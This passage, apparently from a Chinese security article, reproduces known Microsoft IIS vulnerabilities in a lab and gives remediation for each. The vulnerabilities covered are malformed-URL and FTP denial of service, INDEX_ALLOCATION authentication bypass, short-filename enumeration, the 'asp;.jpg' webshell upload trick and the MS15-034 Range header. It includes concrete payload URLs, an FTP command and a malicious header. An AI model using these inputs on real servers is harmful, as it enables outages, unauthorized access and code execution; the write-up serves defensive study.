Microsoft IIS 處理某些畸形的 HTTP 請求時存在漏洞,遠程攻擊者可能利用此漏洞對伺服器進行拒絕服務攻擊。遠程攻擊者可以使用 WEB 瀏覽器之類的工具發送特製的匿名 HTTP 請求導致 IIS 服務進程 inetinfo.exe 崩潰。僅在文件夾的 " 執行許可權 " 設置為 " 腳本和可執行程序 " 時才會出現這個漏洞。有漏洞的虛擬文件夾包括 "/_vti_bin" 等。此外如果提交惡意請求還可能會觸發緩沖區溢出,導致在用戶系統上執行任意代碼。

2.1.2 漏洞分析和復現

· 漏洞影響版本:IIS 5.1

IIS 包括一個能夠提供靜態和動態內容的 Web 伺服器組件。IIS 的 Web 組件提供 Web 應用程序功能。通過 Web 應用程序,伺服器可以在後端執行腳本,並將生成的內容提供給請求客戶端。客戶端可以請求許多可執行資源,例如 Perl 腳本、Active Server Pages(ASP)或動態鏈接的庫資源。用於提供動態動態內容的虛擬目錄需要配置後台執行腳本的許可權。

Microsoft Internet Information Services 產品的 HTTP 伺服器組件中存在可遠程利用的拒絕服務漏洞。在特殊情況下,當多次請求動態鏈接的庫資源時,受影響的服務可能會因此而關閉。由於伺服器無法處理格式錯誤的 URL 請求,因此創建了該漏洞。惡意請求必須滿足幾個條件才能觸發此漏洞。請求 URL 必須包含來自以下字元的有限集合中的字元(注意,不可見字元需要使用以下字元范圍的 URL 編碼形式):

%3f



字元 %01 – %1f 的范圍

請求還必須包含波形符「 ~ 」字元,後面跟一個十進制數字。

· 漏洞類型:可遠程利用,可觸發 DOS 攻擊

1. 配置 IIS 默認 wwwroot 根目錄下的虛擬目錄 _vti_bin 執行許可權為「腳本和可執行文件」許可權;

2. 瀏覽器發送惡意 url 遠程訪問靶機環境,復現成功,伺服器返回 500 錯誤:

Eg:http://192.168.180.200/_vti_bin/.dll/%1f~0

1. 此漏洞僅在 IIS 5.1 版本存在,升級 IIS 版本或者更新 MS07-041 補丁即可規避此漏洞;

2. 此漏洞成功利用的條件主要包括:要求在伺服器端將請求的虛擬目錄配置為「腳本和可執行文件」許可權,不開啟此許可權的伺服器不存在漏洞。

2.2 ( MS09-053 ) Microsoft IIS FTP 伺服器遞歸列表拒絕服務漏洞 CVE-2009-2521

2.2.1 漏洞描述

IIS 5.0 至 7.0 版本的 FTP 服務在處理遞歸目錄列表請求時存在棧消耗漏洞。擁有對目錄寫訪問許可權的遠程攻擊者可以通過提交包含有通配符 ( 如星形標識符 ) 的請求導致拒絕服務(守護進程崩潰)。

2.2.2 漏洞分析和復現

· 漏洞影響版本:IIS 5.0、IIS 5.1、IIS 6.0、IIS 7.0

通過包含通配符的 list(ls)-R 命令在 Microsoft IIS FTP 伺服器 5.0 到 7.0 中觸發拒絕服務條件,即 ls "-R p*/../" 命令可導致 FTP 伺服器拒絕服務。 此漏洞利用有三個條件:

(1)一個有效的 ftp 帳戶,擁有隻讀或寫入許可權;

(2)「 FTP 發布」服務必須在啟動類型中配置為「手動」模式;

(3)FTP 根目錄下至少有一個目錄。

1. 添加 FTP 伺服器角色,IIS 信息服務管理控制台「 FTP 站點下」啟動 FTP 默認站點

2. 配置 ftp 默認用戶 anonymous/anonymous,擁有讀寫目錄許可權;

3. 目錄下創建一個文件夾 BB,然後輸入 ls "-R p*/../",成功復現 DOS 拒絕服務,ftp 連接關閉:

中間很多重復:

p*/../BB: BB

FTP 伺服器提示「遠程主機關閉連接」,FTP 拒絕服務,漏洞復現成功。

1. 此漏洞僅在 IIS 5.0-7.0 版本存在,升級 IIS 版本或者更新 MS09-053 補丁即可規避此漏洞;

3. 認證繞過漏洞

3.1IIS 認證繞過和源碼泄露漏洞復現

3.1.1 漏洞描述

Microsoft IIS ( Internet Information Server ) 是 Microsoft Windows 系統默認自帶的 Web 伺服器軟體,其中默認包含 FTP 服務。Microsoft IIS 中存在認證繞過漏洞和源碼泄露漏洞,該漏洞源於對用戶提供的輸入未經正確的驗證。攻擊者可利用這些漏洞在伺服器進程上下文中獲取密碼保護資源和查看源代碼文件的未授權訪問,且有助於進一步攻擊。

3.1.2 漏洞分析和復現

· 漏洞影響版本:IIS 6.0、IIS 7.5

Microsoft IIS 由於無法正確清理用戶提供的輸入,容易出現身份驗證繞過漏洞和源代碼泄露漏洞。主要包括以下三類繞過:

(1)安裝了 PHP 的 Microsoft IIS 6.0 身份驗證繞過:

IIS / 6.0 載入受保護(如 :admin)目錄中的 PHP 文件需要用戶認證信息(用戶名和密碼訪問),如果將「 :: $ INDEX_ALLOCATION 」後綴附加到目錄名稱後面,存在繞過認證並可能訪問管理文件等特殊情況,導致 IIS 伺服器重要信息泄露;

Eg:/admin::$INDEX_ALLOCATION/index.php

(2)Microsoft IIS 7.5 經典 ASP 身份驗證繞過:

配置了經典 ASP 和 .NET Framework 4.0 的 Microsoft IIS 7.5,通過將「:$ i30:$ INDEX_ALLOCATION 」後綴附加到需要認證的請求目錄名稱後面,可以繞過經典的 ASP 文件訪問限制;

Eg: 舉例:/admin:$i30:$INDEX_ALLOCATION/index.asp

(3)Microsoft IIS 7.5 .NET 源代碼公開和身份驗證繞過:

在配置中安裝了 PHP 的 Microsoft IIS / 7.5,存在認證繞過漏洞;

Eg:http:///admin:$i30:$INDEX_ALLOCATION/admin.php

除此之外,通過將 /.php 附加到 ASPX 文件(或使用未通過請求過濾規則阻止的 .NET 框架的任何其他文件,如錯誤配置:.CS,.VB 等文件)。IIS 7.5 使用文件的完整源代碼進行響應,並將其作為 PHP 代碼執行。這意味著通過使用上傳功能,可以(在特殊情況下)執行任意 PHP 代碼。

Eg: http:///Default.aspx/.php(php 任意代碼執行)

· 漏洞類型:可遠程利用,可觸發認證繞過和信息泄露

復現環境:Windows 7 x64 位,默認 IIS 7.5

以下驗證復現上述(3)的漏洞,(1)和(2)類似此處不做驗證:

1.IIS 網站根目錄下創建 admin 用戶目錄,關閉默認用戶認證,換言之,訪問 /admin/index.php 目錄下的文件需要認證信息,認證失敗或者無認證信息將會返回 401 未授權頁面;

2. 配置完成後,重啟 IIS 伺服器,瀏覽器遠程訪問此文件:http://192.168.180.207/admin/index.php,默認 IIS 賬戶訪問提示 401 未授權;

3. 接下來,利用 :$i30:$INDEX_ALLOCATION 來繞過此限制,瀏覽器遠程訪問:

http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.php,成功繞過並訪問到敏感信息;

4. 除此之外,如果目標站點限制上傳和訪問 php 文件,可以利用上傳 aspx(.net 支持解析的文件類型)文件逃避限制,將其當做 php 代碼執行;

Eg:網站目錄下有一個 index.aspx 的文件,裡面寫有 php 代碼,正常通過 http://192.168.180.207/admin:$i30:$INDEX_ALLOCATION/index.aspx 訪問此文件無法執行代碼,通過在末尾加上 index.aspx/.php 形式訪問將會成功執行 php 代碼;

a. 正常繞過訪問 index.aspx 文件,頁面返回亂碼,未執行 phpinfo 代碼:

b. 通過在末尾加上 /.php,成功執行 php 代碼:

1.IIS 7.5 配置 .NET Framework 2.0 不受上述 ( 2 ) 的繞過影響;

2. 攻擊者需要事先獲取 IIS 伺服器受認證保護目錄;

4. 信息泄露漏洞

4.1Microsoft IIS 短文件名泄露漏洞

4.1.1 漏洞描述

IIS 短文件名漏洞是由於 HTTP 請求中攜帶舊 DOS 8.3 名稱約定(SFN)的代字元(~)波浪號引起的。它允許遠程攻擊者在 Web 根目錄下公開文件和文件夾名稱(不應該可被訪問)。攻擊者可以找到通常無法從外部直接訪問的重要文件,並獲取有關應用程序基礎結構的信息。

4.1.2 漏洞分析和復現

· 漏洞影響版本:IIS 5.0-10.0 全系列版本

Windows 支持以 8.3 格式生成與 MS-DOS 兼容的(短)文件名,以允許基於 MS-DOS 或 16 位 Windows 的程序訪問這些文件。基於 Windows 的 IIS 伺服器默認根目錄 C:inetpubwwwroot 下的網頁腳本文件和目錄符合一定條件時,會生成相應的短文件名。此時,攻擊者利用 HTTP 的 DEBUG、OPTIONS、GET、POST、HEAD、TRACE 等方法攜帶波浪號,可以對 IIS 伺服器短文件名進行暴力猜解,依據返回的頁面信息和狀態碼來確認真實存在的文件名,從而獲取伺服器敏感信息,為下一步攻擊做准備。

· 漏洞類型:可遠程利用,可觸發信息泄露

1. 通過 cmd 下進入 IIS 網站根目錄 C:inetpubwwwroot,輸入「 dir /x 」查看已存在的短文件名:

2. 使用公開 POC 或者掃描程序探測目標靶機的短文件名,成功猜解到伺服器根目錄短文件名稱:

1. 限制 IIS 伺服器 HTTP 方法,除了必要的 GET、POST 方法,其他 HTTP 方法建議關閉,視情況開啟;

2.IIS 伺服器文件建議使用復雜字元或者中文命名,增後期攻擊者暴力破解難度;

3. 針對已存在的 IIS 伺服器,建議關閉 NTFS 8.3 文件格式的支持或者修改注冊表禁用短文件名功能。

註:詳細原理和解決方案請參考:https://www.freebuf.com/articles/web/172561.html

5. 代碼執行漏洞

5.1Microsoft IIS 畸形文件擴展名繞過安全限制漏洞 CVE-2009-4444

5.1.1 漏洞描述

IIS 伺服器錯誤的執行了帶有多個擴展名的文件中所包含的 ASP 代碼。例如,malicious.asp;.jpg 被執行為了 ASP 文件。很多文件上傳程序僅檢查文件擴展名的最後部分,因此這可能導致繞過保護機制向伺服器上傳惡意可執行文件。

5.1.2 漏洞分析和復現

· 漏洞影響版本:IIS 6.0

此漏洞主要原因是 IIS 第三方上傳應用沒有限制文件上傳格式或者限制不夠嚴格,只檢查了文件末尾的格式,導致攻擊者可以將如 Asp webshell 偽裝成 malicious.asp;.jpg 文件格式上傳到 IIS 伺服器。IIS 的 Classic ASP 功能在處理 asp 文件時,被此畸形文件格式的分號截斷了,認為是 asp 文件並進行相應的解析處理。攻擊者則在獲取上傳路徑後通過遠程訪問執行此 webshell,控制 IIS 伺服器甚至 Windows 宿主機器。

· 漏洞類型:可遠程利用,文件上傳繞過可觸發代碼執行

復現環境:Win server 2003 Sp2 32 位企業版,默認 IIS 6.0

1.IIS 伺服器根目錄下創建一個名為 aspwebshell.asp;.jpg 的文件,用記事本打開,放入 asp webshell 代碼(實際利用過程中是通過第三方應用上傳繞過漏洞上傳此文件,並設法獲取此上傳路徑);

2. 通過瀏覽器遠程訪問此文件,http://192.168.180.201/aspwebshell.asp;.jpg,成功執行 asp webshell 代碼:

1. 嚴格限制 IIS 第三方應用上傳文件的格式;

2. 此漏洞僅影響 IIS 6.0,其他版本解析 asp 文件不會被分號截斷,可升級至無此漏洞的 IIS 版本。

5.2 ( MS15-034 ) Microsoft IIS 遠程代碼執行漏洞復現 CVE-2015-1635

5.2.1 漏洞描述

Microsoft Windows 是美國微軟(Microsoft)公司發布的一系列操作系統。Microsoft Internet Information Services(IIS)是一套運行於 Microsoft Windows 中的互聯網基本服務。使用 Microsoft IIS 6.0 以上版本的 Microsoft Windows 的 HTTP 協議堆棧 ( HTTP.sys ) 中存在遠程執行代碼漏洞,該漏洞源於 HTTP.sys 文件沒有正確分析經特殊設計的 HTTP 請求。成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意代碼。

5.2.2 漏洞分析和復現

· 漏洞影響版本:IIS 7.5、IIS 8.0、IIS 8.5

IIS 進程 w3wp.exe 接收到 HTTP 請求後,將數據緩存到內核中,並整合 HTTP 回應頭,最後由 http.sys 組織數據包經由網路內核組件發送出去。請求中包括 Range 對象的指定范圍,而緩存中則包含了 http 文件和大小信息等。

根據公開 POC,構造包含「 Range: bytes=0-18446744073709551615 」的 HTTP 請求並發送到 IIS 7.5-8.5 伺服器,如果 IIS 伺服器返回「 Requested Range Not Satisfiable 」,則存在漏洞,如果返回「 The request has an invalid header name 」或者沒有回應,則說明漏洞已經修補或者不存在漏洞。

· 漏洞類型:可遠程利用,可觸發代碼執行

復現環境:Win server 2008 R2 64 位企業版,默認 IIS 7.5

1. 開啟 IIS 默認網站

2. 根據公開 poc 發送包含特殊設計的 Range 欄位攻擊靶機環境,成功檢測到漏洞:

1. 禁用 IIS 內核緩存,詳情見微軟官方公告:

https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2015/ms15-034

2. 升級 IIS 至 IIS 10.0 版本,此版本不存在此漏洞。

三、漏洞總結

IIS 遠程漏洞主要包括緩沖區溢出、認證繞過、拒絕服務、代碼執行和信息泄露漏洞,本地漏洞主要分布在信息泄露和許可權提升漏洞分類,大部分漏洞利用難度較大,但是一旦成功被攻擊者利用,影響的不僅僅只是 IIS 伺服器,甚至可能是運行 IIS 的 Windows 主機。如果用戶主機被利用,那麼攻擊者可以將此台主機當作肉雞攻擊內網中的其他主機、伺服器或者網路設備等,後果不堪設想。

如果 IIS 伺服器的網站配置不當,攻擊者可以通過 IIS 短文件名猜解和暴力破解用戶隱私文件並進行認證繞過訪問,獲取用戶隱私信息。此外,不合理的上傳限制也會導致攻擊者上傳含有惡意代碼或 webshell 並偽裝成合法的文件,進而導致 IIS 伺服器被攻陷。攻擊者利用提權漏洞或者命令執行等漏洞,對 IIS 伺服器甚至是 Windows 操作系統進行進一步的攻擊。無論是對 IIS 伺服器本身的服務還是該 IIS 伺服器所處的網路環境,IIS 漏洞都是一個極大的隱患。